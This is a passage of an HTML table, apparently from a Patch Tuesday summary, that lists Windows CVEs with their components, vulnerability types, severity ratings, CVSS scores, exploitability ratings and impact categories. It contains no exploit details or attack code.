  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
